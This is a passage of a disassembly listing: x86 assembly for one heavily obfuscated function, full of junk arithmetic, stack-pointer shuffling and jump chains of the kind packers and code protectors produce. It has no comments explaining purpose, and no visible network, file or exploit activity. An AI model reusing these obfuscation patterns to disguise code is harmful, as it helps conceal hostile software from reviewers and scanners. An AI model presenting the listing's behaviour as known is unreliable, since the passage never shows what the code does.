		mov	[esp-6EA6h+arg_6E9E], edx
		push	ecx
		mov	cl, al
		sub	esp, 4
		jmp	loc_58C1F6
; ---------------------------------------------------------------------------


loc_58A0DF:				; CODE XREF: sub_581EE9+A4F7j
		neg	ah
		sub	ah, 0ACh
		jmp	loc_58F200
; ---------------------------------------------------------------------------


loc_58A0E9:				; CODE XREF: sub_581EE9+4429j
		movzx	cx, ah
		push	ebx
		sub	esp, 4
		mov	[esp-6ED4h+arg_6ECA+2],	esp
		add	[esp-6ED4h+arg_6ECA+2],	4
		pop	ebx
		push	ecx
		push	3D615E5Eh
		mov	ecx, [esp-6ED0h+arg_6EC6+2]
		jmp	loc_587E04
; ---------------------------------------------------------------------------


loc_58A107:				; CODE XREF: sub_581EE9+648Aj
		mov	ebp, [esp-6EACh+arg_6EA4]
		add	esp, 4
		xchg	esi, ebp
		push	esi
		xchg	ebx, [esp-6EACh+arg_6EA4]
		not	ebx
		jmp	loc_590C76
; ---------------------------------------------------------------------------


loc_58A11D:				; CODE XREF: sub_581EE9+F59Ej
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58A122:				; CODE XREF: sub_581EE9+692Fj
		mov	[esp-6ECCh+arg_6EC2+2],	ebx
		push	esp
		mov	ebx, [esp-6EC8h+arg_6EBE+2]
		add	esp, 4
		push	0D8Dh
		jmp	loc_58D429
; ---------------------------------------------------------------------------


loc_58A136:				; CODE XREF: sub_581EE9+B0A7j
		mov	esp, [esp-6EC8h+arg_6EBE+2]
		push	edx
		mov	edx, esp
		add	edx, 4
		push	ebx
		jmp	loc_58E703
; ---------------------------------------------------------------------------


loc_58A148:				; CODE XREF: sub_581EE9+3F77j
		push	215Fh
		mov	[esp-6ED0h+arg_6EC6+2],	ebp
		push	esp
		jmp	loc_58AE4F
; ---------------------------------------------------------------------------


loc_58A156:				; CODE XREF: sub_581EE9+AEEDj
		add	ebx, ebp
		sub	ebx, 53DD7984h
		pop	ebp
		push	ebx
		push	[esp-6ECCh+arg_6EC6+2]
		pop	ebx
		pop	[esp-6ECCh+arg_6EC2+2]
		pop	esp
		movsx	ecx, al
		push	2297h
		jmp	loc_59055A
; ---------------------------------------------------------------------------


loc_58A176:				; CODE XREF: sub_581EE9+B7D9j
		pop	ebx
		add	ah, 36h
		jmp	loc_588484
; ---------------------------------------------------------------------------


loc_58A17F:				; CODE XREF: sub_581EE9+9B72j
		sub	edi, 4481A680h
		add	ecx, edi
		pop	edi
		add	ecx, 4
		xor	ecx, [esp-6ED8h+arg_6ECE+2]
		xor	[esp-6ED8h+arg_6ECE+2],	ecx
		xor	ecx, [esp-6ED8h+arg_6ECE+2]
		mov	esp, [esp-6ED8h+arg_6ECE+2]
		add	ebp, 4
		push	5A23h
		jmp	loc_58AF09
; ---------------------------------------------------------------------------


loc_58A1AA:				; CODE XREF: sub_581EE9+A8EFj
		mov	ebp, edx
		jmp	loc_58AFAD
; ---------------------------------------------------------------------------


loc_58A1B1:				; CODE XREF: sub_581EE9+F695j
		add	[esp-6ED4h+arg_6ECA+2],	49255AF8h
		jmp	loc_586E87
; ---------------------------------------------------------------------------


loc_58A1BD:				; CODE XREF: sub_581EE9+53EDj
		pop	eax
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		movsx	cx, al
		push	small 6B06h
		mov	word ptr [esp-6EECh+arg_6EE4], cx
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58A1DB:				; CODE XREF: sub_581EE9+A7AEj
		xor	ah, 36h
		mov	bh, ah
		pop	eax
		sub	al, bh
		pop	ebx
		mov	dx, word ptr [esp-6EF4h+arg_6EEC]
		push	ebp
		mov	ebp, esp
		jmp	loc_58D9BB
; ---------------------------------------------------------------------------


loc_58A1F0:				; CODE XREF: sub_581EE9+B7AAj
		push	ecx
		mov	cl, 8Eh
		mov	al, 2Dh
		add	al, cl
		pop	ecx
		not	al
		sub	al, 0F6h
		and	al, 0AAh
		add	al, 0F9h
		mov	dl, al
		pop	eax
		jmp	loc_58A3E1
; ---------------------------------------------------------------------------


loc_58A208:				; CODE XREF: sub_581EE9+75C3j
		xchg	ebx, [esp-6ED2h+arg_6ECA]
		pop	esp
		mov	word ptr [esp-6ED6h+arg_6ECE], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58A21C:				; CODE XREF: sub_581EE9+DF18j
		add	esp, 4
		push	esi
		mov	esi, 47B40E6h
		sub	[esp-6ED0h+arg_6ECA+2],	esi
		push	[esp-6ED0h+arg_6EC6+2]
		pop	esi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	esi
		mov	esi, 4
		jmp	loc_58C227
; ---------------------------------------------------------------------------


loc_58A241:				; CODE XREF: sub_581EE9+A810j
		push	cx
		jmp	loc_58DC87
; ---------------------------------------------------------------------------


loc_58A248:				; CODE XREF: sub_581EE9+9140j
		push	56D67DA3h
		mov	ebp, [esp-6EC2h+arg_6EBA]
		add	esp, 4
		shr	ebp, 2
		push	edi
		mov	edi, 2AAA7EEBh
		or	ebp, edi
		jmp	loc_58CA9C
; ---------------------------------------------------------------------------


loc_58A263:				; CODE XREF: sub_581EE9+A152j
		or	ah, 84h
		and	ah, 0D8h
		push	ebx
		mov	bl, 8Fh
		inc	bl
		xor	bl, 0B6h
		xor	ah, bl
		pop	ebx
		sub	ah, 18h
		xor	ah, 0ADh
		mov	bl, ah
		pop	eax
		push	dx
		mov	dh, 0A9h
		sub	bl, dh
		mov	dx, word ptr [esp-6EC4h+arg_6EBA+2]
		add	esp, 2
		add	bl, 0FFh
		push	dx
		mov	dl, 91h
		jmp	loc_58881D
; ---------------------------------------------------------------------------


loc_58A299:				; CODE XREF: sub_581EE9+ADF2j
		mov	ebp, [esp-6EC6h+arg_6EBE]
		jmp	loc_58BBA2
; ---------------------------------------------------------------------------


loc_58A2A1:				; CODE XREF: sub_581EE9+A109j
		mov	[esp-6EC6h+arg_6EBE], edx
		jmp	loc_5900AE
; ---------------------------------------------------------------------------


loc_58A2A9:				; CODE XREF: sub_581EE9+95A9j
		and	eax, ebx
		push	[esp-6EC6h+arg_6EBE]
		jmp	loc_58AEA0
; ---------------------------------------------------------------------------


loc_58A2B3:				; CODE XREF: sub_581EE9+5DA0j
		push	ebx
		jmp	loc_5865B8
; ---------------------------------------------------------------------------


loc_58A2B9:				; CODE XREF: sub_581EE9+DB1Ej
		pop	bx
		xor	bl, al
		movzx	eax, al
		lea	eax, [edi+eax*4]
		push	6588h
		mov	[esp-6EC0h+arg_6EB6+2],	ebp
		jmp	loc_58B34B
; ---------------------------------------------------------------------------


loc_58A2D0:				; CODE XREF: sub_581EE9+D1F3j
		dec	ah
		jmp	loc_58C694
; ---------------------------------------------------------------------------


loc_58A2D7:				; CODE XREF: sub_581EE9+F2C1j
		add	esp, 4
		push	edi
		jmp	loc_58EAD9
; ---------------------------------------------------------------------------


loc_58A2E3:				; CODE XREF: sub_581EE9+644Bj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp-6EC8h+arg_6EBE+2]
		pop	esp
		push	293Fh
		mov	[esp-6EC8h+arg_6EBE+2],	eax
		jmp	loc_58849C
; ---------------------------------------------------------------------------


loc_58A300:				; CODE XREF: sub_581EE9+E151j
		mov	ebp, ebx
		jmp	loc_58DE3B
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_589F06
; ---------------------------------------------------------------------------


loc_58A30D:				; CODE XREF: sub_581EE9+54D2j
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58A312:				; DATA XREF: sub_581EE9+3BABo
		mov	ax, word ptr [esp-6EB6h+arg_6EAC+2]
		push	eax
		push	esp
		pop	eax
		jmp	loc_58CEA8
; ---------------------------------------------------------------------------


loc_58A31E:				; CODE XREF: sub_581EE9+489Fj
		add	esi, ebp
		add	esi, 5E376DAh
		pop	ebp
		xchg	esi, [esp-6EFAh+arg_6EF0+2]
		mov	esp, [esp-6EFAh+arg_6EF0+2]
		jmp	loc_58D336
; ---------------------------------------------------------------------------


loc_58A332:				; CODE XREF: sub_581EE9+78F2j
		sub	eax, esi
		jmp	loc_587B62
; ---------------------------------------------------------------------------


loc_58A339:				; CODE XREF: sub_581EE9+53FEj
		pop	[esp-6EEEh+arg_6EE4+2]
		push	edx
		not	[esp-6EEEh+arg_6EE4+2]
		pop	edx
		jmp	loc_58C27E
; ---------------------------------------------------------------------------


loc_58A346:				; CODE XREF: sub_581EE9+A9E6j
		mov	eax, 72A14946h
		jmp	loc_587616
; ---------------------------------------------------------------------------


loc_58A350:				; CODE XREF: sub_581EE9+A81Dj
		pop	edi
		mov	esi, eax
		pop	eax
		sub	esi, edi
		pop	edi
		push	ebx
		jmp	loc_591C0A
; ---------------------------------------------------------------------------


loc_58A35D:				; CODE XREF: sub_581EE9+CBEBj
		xor	edi, [esp-6EFAh+arg_6EF0+2]
		mov	esp, [esp-6EFAh+arg_6EF0+2]
		push	74D0h
		mov	[esp-6EF6h+arg_6EEC+2],	ebx
		mov	ebx, 8107520h
		sub	ebx, 1
		push	3AE4h
		mov	[esp-6EF2h+arg_6EE8+2],	edi
		mov	edi, 75462238h
		shl	edi, 4
		jmp	loc_591B75
; ---------------------------------------------------------------------------
		push	[esp-6EF2h+arg_6EE8+2]
		jmp	loc_591AD2
; ---------------------------------------------------------------------------


loc_58A390:				; CODE XREF: sub_581EE9+947Bj
		mov	[esp-6EEEh+arg_6EE4+2],	eax
		mov	eax, 167B4A4Eh
		push	edx
		mov	edx, 4AD604F8h
		push	eax
		jmp	loc_586D7E
; ---------------------------------------------------------------------------


loc_58A3A4:				; CODE XREF: sub_581EE9+C1BFj
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58A3A9:				; CODE XREF: sub_581EE9+88E6j
		pop	ecx
		add	ecx, ebp
		jmp	loc_58AF99
; ---------------------------------------------------------------------------


loc_58A3B1:				; CODE XREF: sub_581EE9+E5ECj
		xor	ebx, 5651544Ah
		neg	ebx
		push	edi
		mov	edi, 66A90E55h
		neg	edi
		jmp	loc_588E1B
; ---------------------------------------------------------------------------


loc_58A3C6:				; CODE XREF: sub_581EE9+F6CBj
		add	[esp-6EE6h+arg_6EE0+2],	ebp
		pop	ebp
		mov	esi, [esp-6EEAh+arg_6EE0+2]
		add	esp, 4
		push	edi
		jmp	loc_58B968
; ---------------------------------------------------------------------------


loc_58A3DA:				; CODE XREF: sub_581EE9+5CC2j
		sub	al, cl
		jmp	loc_5886F5
; ---------------------------------------------------------------------------


loc_58A3E1:				; CODE XREF: sub_581EE9+831Aj
		or	dl, 93h
		xor	dl, 20h
		add	dl, 44h
		shr	dl, 3
		jmp	loc_58DC11
; ---------------------------------------------------------------------------


loc_58A3F2:				; CODE XREF: sub_581EE9+CFE9j
		add	esp, 4
		push	ebx
		mov	ebx, 24h
		add	ebx, edi
		add	[ebx], edx
		mov	ebx, [esp-6EF4h+arg_6EEC]
		add	esp, 4
		mov	edx, [esp-6EF8h+arg_6EF0]
		jmp	loc_588C53
; ---------------------------------------------------------------------------


loc_58A40D:				; DATA XREF: sub_581EE9+3B37o
		lodsd
		jmp	loc_587878
; ---------------------------------------------------------------------------


loc_58A413:				; CODE XREF: sub_581EE9+9FF9j
		pop	esp
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58A419:				; CODE XREF: sub_581EE9+B320j
		sub	ebx, 5EC70940h
		sub	ebx, 162C031Dh
		sub	ebx, 49555767h
		jmp	loc_58BB33
; ---------------------------------------------------------------------------


loc_58A430:				; CODE XREF: sub_581EE9+807Fj
		not	[esp-6EB2h+arg_6EA8+2]
		pop	esi
		jmp	loc_58E1CB
; ---------------------------------------------------------------------------


loc_58A439:				; CODE XREF: sub_581EE9+985Cj
		sub	edx, 6C2635ACh
		sub	edx, 3CF407ABh
		sub	eax, edx
		pop	edx
		add	edx, eax
		pop	eax
		add	edx, 4
		xor	edx, [esp-6EBEh+arg_6EB6]
		xor	[esp-6EBEh+arg_6EB6], edx
		xor	edx, [esp-6EBEh+arg_6EB6]
		mov	esp, [esp-6EBEh+arg_6EB6]
		xor	eax, 3AF271C6h
		sub	esp, 4
		jmp	loc_591461
; ---------------------------------------------------------------------------


loc_58A46A:				; CODE XREF: sub_581EE9+5D7Aj
		mov	edx, 6EC7404Ah
		jmp	loc_591B30
; ---------------------------------------------------------------------------


loc_58A474:				; CODE XREF: sub_581EE9+620Ej
		xor	eax, 63E465A1h
		jmp	loc_589292
; ---------------------------------------------------------------------------


loc_58A47E:				; CODE XREF: sub_581EE9+D267j
		push	[esp-6EC2h+arg_6EBA]
		jmp	loc_58B79C
; ---------------------------------------------------------------------------


loc_58A486:				; CODE XREF: sub_581EE9+7ADDj
		pop	ebp
		jmp	loc_589096
; ---------------------------------------------------------------------------


loc_58A48C:				; CODE XREF: sub_581EE9+7AABj
		push	edx
		jmp	loc_58D9A7
; ---------------------------------------------------------------------------


loc_58A492:				; CODE XREF: sub_581EE9+CE74j
		push	ebp
		push	esp
		pop	ebp
		jmp	loc_58CFF2
; ---------------------------------------------------------------------------


loc_58A49A:				; CODE XREF: sub_581EE9+B440j
		add	bl, 81h
		push	cx
		jmp	loc_58DD95
; ---------------------------------------------------------------------------


loc_58A4A4:				; CODE XREF: sub_581EE9+9A20j
		sub	ecx, 70490A52h
		neg	ecx
		sub	ecx, 19A577Ah
		jmp	loc_58CB20
; ---------------------------------------------------------------------------


loc_58A4B7:				; CODE XREF: sub_581EE9+8B9Ej
		add	ecx, edi
		jmp	loc_58EC91
; ---------------------------------------------------------------------------


loc_58A4BE:				; CODE XREF: sub_581EE9+AE51j
		mov	edx, 19936E1Fh
		jmp	loc_58AB84
; ---------------------------------------------------------------------------


loc_58A4C8:				; CODE XREF: sub_581EE9+ECE2j
		add	edx, 40468B7Ch
		add	esi, edx
		pop	edx
		pop	eax
		jmp	loc_586599
; ---------------------------------------------------------------------------


loc_58A4D7:				; CODE XREF: sub_581EE9+475Aj
		mov	ebx, 4F22831h
		jmp	loc_5919D8
; ---------------------------------------------------------------------------


loc_58A4E1:				; CODE XREF: sub_581EE9+8698j
		mov	ecx, [esp-6EFAh+arg_6EF0+2]
		push	edx
		mov	edx, esp
		push	53CBh
		mov	[esp-6EF2h+arg_6EE8+2],	ebp
		sub	esp, 4
		mov	[esp], edx
		push	2943407Bh
		pop	edx
		push	esi
		mov	esi, 51D85F7Ah
		jmp	loc_5894E4
; ---------------------------------------------------------------------------


loc_58A509:				; CODE XREF: sub_581EE9+D829j
		mov	[esp-6EEAh+arg_6EE0+2],	eax
		xchg	eax, [esp-6EEAh+arg_6EE0+2]
		push	eax
		push	edx
		push	[esp-6EE2h+arg_6EDC+2]
		jmp	loc_5872E6
; ---------------------------------------------------------------------------


loc_58A51A:				; CODE XREF: sub_581EE9+B510j
		push	ecx
		push	[esp-6EDAh+arg_6ED2]
		jmp	loc_5900BB
; ---------------------------------------------------------------------------


loc_58A523:				; CODE XREF: sub_581EE9+9B4Cj
		mov	al, 75h
		xor	al, 0C7h
		xor	al, 93h
		add	bl, al
		pop	eax
		pop	ecx
		jmp	loc_58A0CC
; ---------------------------------------------------------------------------


loc_58A532:				; CODE XREF: sub_581EE9+CA88j
		mov	esi, 1FD76AADh
		neg	esi
		sub	esi, 0E2C3C2D4h
		sub	ebx, esi
		pop	esi
		push	edi
		mov	edi, 36A94065h
		add	esi, edi
		pop	edi
		add	esi, ebx
		sub	esi, 36A94065h
		mov	ebx, [esp+0]
		add	esp, 4
		xchg	esi, [esp-6EE6h+arg_6EDC+2]
		mov	esp, [esp-6EE6h+arg_6EDC+2]
		jmp	loc_591753
; ---------------------------------------------------------------------------


loc_58A564:				; CODE XREF: sub_581EE9+6EE1j
		mov	ebp, 4
		add	edi, 4396022Bh
		add	edi, ebp
		sub	edi, 4396022Bh
		pop	ebp
		xchg	edi, [esp-6ECAh+arg_6EC2]
		mov	esp, [esp-6ECAh+arg_6EC2]
		push	dword ptr [edi+1Ch]
		jmp	loc_58A4E1
; ---------------------------------------------------------------------------


loc_58A586:				; CODE XREF: sub_581EE9+E0E8j
		mov	eax, esp
		jmp	loc_5914B3
; ---------------------------------------------------------------------------


loc_58A58D:				; CODE XREF: sub_581EE9+C429j
		push	edi
		jmp	loc_58AD72
; ---------------------------------------------------------------------------


loc_58A593:				; CODE XREF: sub_581EE9+8F73j
		neg	ebp
		sub	ebp, 0DD0643FAh
		or	ecx, ebp
		pop	ebp
		shr	ecx, 3
		jmp	loc_591346
; ---------------------------------------------------------------------------


loc_58A5A6:				; CODE XREF: sub_581EE9+80D9j
		push	397Fh
		mov	[esp-6EC0h+arg_6EB6+2],	ecx
		push	eax
		push	5EAD4068h
		pop	eax
		xor	eax, 5EAD4268h
		mov	ecx, eax
		mov	eax, [esp-6EBCh+arg_6EB2+2]
		add	esp, 4
		and	eax, ecx
		push	[esp-6EC0h+arg_6EB6+2]
		mov	ecx, [esp-6EBCh+arg_6EB2+2]
		add	esp, 4
		push	edi
		mov	edi, esp
		jmp	loc_588DBC
; ---------------------------------------------------------------------------


loc_58A5DB:				; CODE XREF: sub_581EE9+6342j
		or	ebp, 21334907h
		shr	ebp, 2
		jmp	loc_59190D
; ---------------------------------------------------------------------------


loc_58A5E9:				; CODE XREF: sub_581EE9+4FF8j
		push	cx
		mov	ch, 2Ah
		add	al, ch
		mov	cx, [esp-6EAAh+arg_6EA2]
		push	ecx
		jmp	loc_590636
; ---------------------------------------------------------------------------


loc_58A5F9:				; CODE XREF: sub_581EE9+9807j
		xor	edi, ebx
		mov	ebx, [esp-6EA6h+arg_6E9E]
		add	esp, 4
		jmp	loc_590285
; ---------------------------------------------------------------------------


loc_58A609:				; CODE XREF: sub_581EE9+C31Aj
		sub	cl, 1
		dec	cl
		shr	cl, 1
		shr	cl, 4
		inc	cl
		jmp	loc_58B095
; ---------------------------------------------------------------------------


loc_58A61A:				; CODE XREF: sub_581EE9+7BE3j
		shr	dh, 2
		xor	dh, 7Dh
		jmp	loc_58DD44
; ---------------------------------------------------------------------------


loc_58A625:				; CODE XREF: sub_581EE9+B612j
		sub	ecx, 4
		xchg	ecx, [esp-6EE0h+arg_6ED6+2]
		pop	esp
		jmp	loc_589C61
; ---------------------------------------------------------------------------


loc_58A634:				; CODE XREF: sub_581EE9+E692j
		mov	ecx, 4
		jmp	loc_58DD27
; ---------------------------------------------------------------------------


loc_58A63E:				; CODE XREF: sub_581EE9+9191j
		inc	esi
		push	ecx
		mov	ecx, 1F16723Eh
		jmp	loc_58654B
; ---------------------------------------------------------------------------


loc_58A64A:				; CODE XREF: sub_581EE9+71CEj
		mov	[esp-6EC0h+arg_6EB6+2],	ebx
		push	ecx
		push	ebx
		mov	bh, 0B6h
		mov	ch, bh
		pop	ebx
		sub	ch, 37h
		push	eax
		mov	ah, ch
		push	ecx
		mov	ch, ah
		mov	bh, ch
		pop	ecx
		jmp	loc_58FAE4
; ---------------------------------------------------------------------------


loc_58A665:				; CODE XREF: sub_581EE9+A8DBj
		pop	edi
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		mov	ebx, [esp+0]
		add	esp, 4
		add	edi, 4
		xchg	edi, [esp-6EBCh+arg_6EB2+2]
		jmp	loc_58D451
; ---------------------------------------------------------------------------


loc_58A682:				; CODE XREF: sub_581EE9+C434j
		pop	ecx
		jmp	loc_58DA6F
; ---------------------------------------------------------------------------


loc_58A688:				; CODE XREF: sub_581EE9+5F75j
		mov	edi, 5A5665D4h
		or	edi, 69B1094Eh
		jmp	loc_58FA4E
; ---------------------------------------------------------------------------


loc_58A698:				; CODE XREF: sub_581EE9+5C63j
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp-6EC2h+arg_6EBA]
		jmp	loc_58EED7
; ---------------------------------------------------------------------------


loc_58A6AC:				; CODE XREF: sub_581EE9+6819j
		add	eax, 54C737E5h
		pop	edx
		shl	eax, 4
		not	eax
		push	eax
		xor	[esp-6EACh+arg_6EA4], ebx
		xor	ebx, [esp-6EACh+arg_6EA4]
		xor	[esp-6EACh+arg_6EA4], ebx
		jmp	loc_58B433
; ---------------------------------------------------------------------------


loc_58A6C6:				; CODE XREF: sub_581EE9+57F4j
		pop	ebx
		sub	al, 0BDh
		add	al, dl
		add	al, 0BDh
		add	al, 0B7h
		jmp	loc_587C17
; ---------------------------------------------------------------------------


loc_58A6D4:				; CODE XREF: sub_581EE9+61EAj
		add	[esp-6EBCh+arg_6EB6+2],	edi
		pop	edi
		push	[esp-6EC0h+arg_6EB6+2]
		mov	esi, [esp-6EBCh+arg_6EB2+2]
		add	esp, 4
		jmp	loc_589EE9
; ---------------------------------------------------------------------------


loc_58A6E7:				; CODE XREF: sub_581EE9+EC81j
		push	[esp-6EC0h+arg_6EBA+2]
		jmp	loc_58E04B
; ---------------------------------------------------------------------------


loc_58A6F0:				; DATA XREF: sub_581EE9+3D53o
		push	0FBFh
		mov	[esp+0], ebx
		mov	ebx, esp
		add	ebx, 4
		push	esi
		mov	esi, 2
		sub	ebx, esi
		pop	esi
		push	7CC4h
		jmp	loc_5899D3
; ---------------------------------------------------------------------------


loc_58A713:				; CODE XREF: sub_581EE9+4CF4j
		pop	edi
		mov	edx, eax
		pop	eax
		jmp	loc_58C194
; ---------------------------------------------------------------------------


loc_58A71C:				; CODE XREF: sub_581EE9+A02Aj
		sub	ebp, eax
		jmp	loc_586509
; ---------------------------------------------------------------------------


loc_58A723:				; CODE XREF: sub_581EE9+C43Aj
		sub	ecx, 0E952606h
		jmp	loc_587972
; ---------------------------------------------------------------------------


loc_58A72E:				; CODE XREF: sub_581EE9+D91Dj
		neg	ebx
		not	ebx
		dec	ebx
		jmp	loc_58AC0B
; ---------------------------------------------------------------------------


loc_58A738:				; CODE XREF: sub_581EE9+D348j
		sub	bl, 66h
		jmp	loc_5884B9
; ---------------------------------------------------------------------------


loc_58A740:				; CODE XREF: sub_581EE9+4D0Ej
		pop	esp
		push	ecx
		jmp	loc_58F608
; ---------------------------------------------------------------------------


loc_58A747:				; CODE XREF: sub_581EE9+B767j
		add	eax, 79C7085Eh
		push	esi
		push	eax
		mov	eax, 59CA0F8Ch
		mov	esi, 16CF3C74h
		xor	esi, eax
		pop	eax
		not	esi
		not	esi
		xor	esi, 31072B3Eh
		add	eax, esi
		mov	esi, [esp-6EC2h+arg_6EBA]
		add	esp, 4
		pop	ecx
		push	ecx
		push	37DBh
		mov	[esp-6EC2h+arg_6EBA], edi
		mov	edi, 3D214BB9h
		or	edi, 27D254D4h
		and	edi, 6EB85932h
		jmp	loc_588BEF
; ---------------------------------------------------------------------------


loc_58A790:				; CODE XREF: sub_581EE9+745Fj
		mov	bp, 0ADEh
		xor	bp, 318Ah
		add	bp, 0EBAh
		inc	bp
		jmp	loc_5907F9
; ---------------------------------------------------------------------------


loc_58A7A5:				; CODE XREF: sub_581EE9+5A60j
		mov	ebp, [esp-6F02h+arg_6EFA]
		jmp	loc_587552
; ---------------------------------------------------------------------------


loc_58A7AD:				; CODE XREF: sub_581EE9+67BDj
		sub	esp, 4
		mov	[esp-6EB0h+arg_6EA8], ecx
		push	ebx
		mov	bh, 0ADh
		mov	ch, bh
		jmp	loc_58D56E
; ---------------------------------------------------------------------------


loc_58A7C0:				; CODE XREF: sub_581EE9+6F24j
		inc	ebp
		push	ecx
		mov	ecx, 34A8353Ch
		xor	ecx, 0EE25821Fh
		sub	ebp, ecx
		jmp	loc_58A3A9
; ---------------------------------------------------------------------------


loc_58A7D4:				; CODE XREF: sub_581EE9+D6C9j
		mov	edx, 37AD4AC5h
		add	eax, edx
		pop	edx
		pop	esi
		push	ebx
		jmp	loc_5883B9
; ---------------------------------------------------------------------------


loc_58A7E3:				; CODE XREF: sub_581EE9+618Dj
		sub	esp, 4
		jmp	loc_58FA90
; ---------------------------------------------------------------------------


loc_58A7EE:				; CODE XREF: sub_581EE9+A26Fj
		mov	edi, 68B0684Ch
		inc	edi
		jmp	loc_587005
; ---------------------------------------------------------------------------


loc_58A7F9:				; CODE XREF: sub_581EE9+BE7Cj
		not	eax
		or	eax, 1F476A9Bh
		jmp	loc_588C7C
; ---------------------------------------------------------------------------


loc_58A805:				; CODE XREF: sub_581EE9+E5B8j
		pop	eax
		add	edx, edi
		pop	edi
		add	edx, 4
		sub	esp, 4
		mov	[esp-6EC6h+arg_6EBE], edx
		jmp	loc_58EC26
; ---------------------------------------------------------------------------


loc_58A81A:				; CODE XREF: sub_581EE9+EDBAj
		shl	byte ptr [esp-6EC6h+arg_6EBE], cl
		pushf
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58A823:				; CODE XREF: sub_581EE9+80C7j
		mov	[esp-6EBCh+arg_6EB2+2],	ebx
		push	esp
		push	dword ptr [esp+0]
		jmp	loc_58B562
; ---------------------------------------------------------------------------


loc_58A82F:				; CODE XREF: sub_581EE9+4805j
		pop	esp
		or	edx, eax
		shl	edx, 1
		jmp	loc_58AA92
; ---------------------------------------------------------------------------


loc_58A839:				; CODE XREF: sub_581EE9+F8D4j
		add	esp, 4
		jmp	loc_58C714
; ---------------------------------------------------------------------------


loc_58A841:				; CODE XREF: sub_581EE9+9824j
		neg	ebp
		jmp	loc_588225
; ---------------------------------------------------------------------------


loc_58A848:				; CODE XREF: sub_581EE9+6EB3j
		add	esp, 2
		add	bl, 0B3h
		push	ecx
		mov	ch, 0F7h
		sub	ch, 1
		jmp	loc_58CEAE
; ---------------------------------------------------------------------------


loc_58A85C:				; CODE XREF: sub_581EE9+B8DEj
		add	ecx, edi
		jmp	loc_590CA8
; ---------------------------------------------------------------------------


loc_58A863:				; CODE XREF: sub_581EE9+6452j
		shl	esi, 8
		or	esi, 29F95784h
		or	esi, 16D2280Ch
		neg	esi
		add	esi, 4812EE90h
		sub	ebx, esi
		jmp	loc_5863B5
; ---------------------------------------------------------------------------


loc_58A881:				; CODE XREF: sub_581EE9+568Dj
		pop	ebp
		jmp	loc_58B988
; ---------------------------------------------------------------------------


loc_58A887:				; CODE XREF: sub_581EE9+D815j
		pop	esp
		shr	ecx, 0Ah
		push	1788h
		jmp	loc_58C618
; ---------------------------------------------------------------------------


loc_58A895:				; CODE XREF: sub_581EE9+9E89j
		push	7C67h
		mov	[esp-6ECAh+arg_6EC2], ecx
		mov	ecx, 68F50719h
		add	ecx, 15498Ch
		add	eax, ecx
		mov	ecx, [esp-6ECAh+arg_6EC2]
		add	esp, 4
		push	1FADh
		mov	[esp-6ECAh+arg_6EC2], edx
		mov	edx, 68AC25B7h
		jmp	loc_58D394
; ---------------------------------------------------------------------------


loc_58A8C5:				; CODE XREF: sub_581EE9+D9BDj
		push	edi
		mov	edi, 4
		add	ebx, edi
		pop	edi
		push	0A3Ah
		mov	[esp-6EC6h+arg_6EBE], eax
		mov	eax, 4
		sub	ebx, eax
		pop	eax
		jmp	loc_589702
; ---------------------------------------------------------------------------


loc_58A8E3:				; CODE XREF: sub_581EE9+6FCDj
		mov	ebx, edx
		push	[esp-6ECAh+arg_6EC2]
		mov	edx, [esp-6EC6h+arg_6EBE]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		jmp	loc_589939
; ---------------------------------------------------------------------------


loc_58A8F6:				; CODE XREF: sub_581EE9+A5E7j
		mov	esi, 4
		jmp	loc_58DEAE
; ---------------------------------------------------------------------------


loc_58A900:				; CODE XREF: sub_581EE9+C28Dj
		xor	eax, ebp
		push	[esp-6EC6h+arg_6EBE]
		pop	ebp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp-6EC2h+arg_6EBA]
		mov	esp, [esp-6EC2h+arg_6EBA]
		xor	ebx, eax
		jmp	loc_58F0EF
; ---------------------------------------------------------------------------


loc_58A922:				; CODE XREF: sub_581EE9+E541j
		mov	[esp-6EC2h+arg_6EBA], ecx
		jmp	loc_59141A
; ---------------------------------------------------------------------------


loc_58A92A:				; CODE XREF: sub_581EE9+4A20j
		push	ecx
		mov	cl, 1
		xor	cl, 3Fh
		sub	cl, 2Fh
		xor	cl, 6Dh
		sub	bl, 80h
		add	bl, cl
		push	ecx
		mov	cl, 80h
		add	bl, cl
		pop	ecx
		pop	ecx
		sub	al, bl
		pop	ebx
		sub	al, dl
		jmp	loc_58E3C7
; ---------------------------------------------------------------------------


loc_58A94C:				; CODE XREF: sub_581EE9+B666j
		push	ebx
		mov	bh, 0FAh
		shl	bh, 7
		not	bh
		jmp	loc_58BD77
; ---------------------------------------------------------------------------


loc_58A959:				; CODE XREF: sub_581EE9+72D1j
		mov	esi, 64152FEAh
		push	esi
		jmp	loc_590F6B
; ---------------------------------------------------------------------------


loc_58A964:				; CODE XREF: sub_581EE9+7089j
		shl	ebp, 8
		sub	ebp, 698F6FB0h
		xor	ebp, 94831BE7h
		add	eax, ebp
		jmp	loc_58F155
; ---------------------------------------------------------------------------


loc_58A97A:				; CODE XREF: sub_581EE9+E613j
		pop	esi
		add	ecx, 4
		jmp	loc_586CF2
; ---------------------------------------------------------------------------


loc_58A986:				; CODE XREF: sub_581EE9+F29Cj
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		mov	ebp, [esp-6ECCh+arg_6EC2+2]
		add	esp, 4
		jmp	loc_589B5C
; ---------------------------------------------------------------------------


loc_58A99C:				; CODE XREF: sub_581EE9+BA17j
		mov	ebx, esp
		push	edx
		mov	edx, 63A8730Dh
		push	551h
		jmp	loc_585D00
; ---------------------------------------------------------------------------


loc_58A9AE:				; CODE XREF: sub_581EE9+7FAEj
		or	edx, 0AB314B1h
		neg	edx
		inc	edx
		not	edx
		and	edx, 124C0E2Ah
		jmp	loc_58FE28
; ---------------------------------------------------------------------------


loc_58A9C4:				; CODE XREF: sub_581EE9+5C3Fj
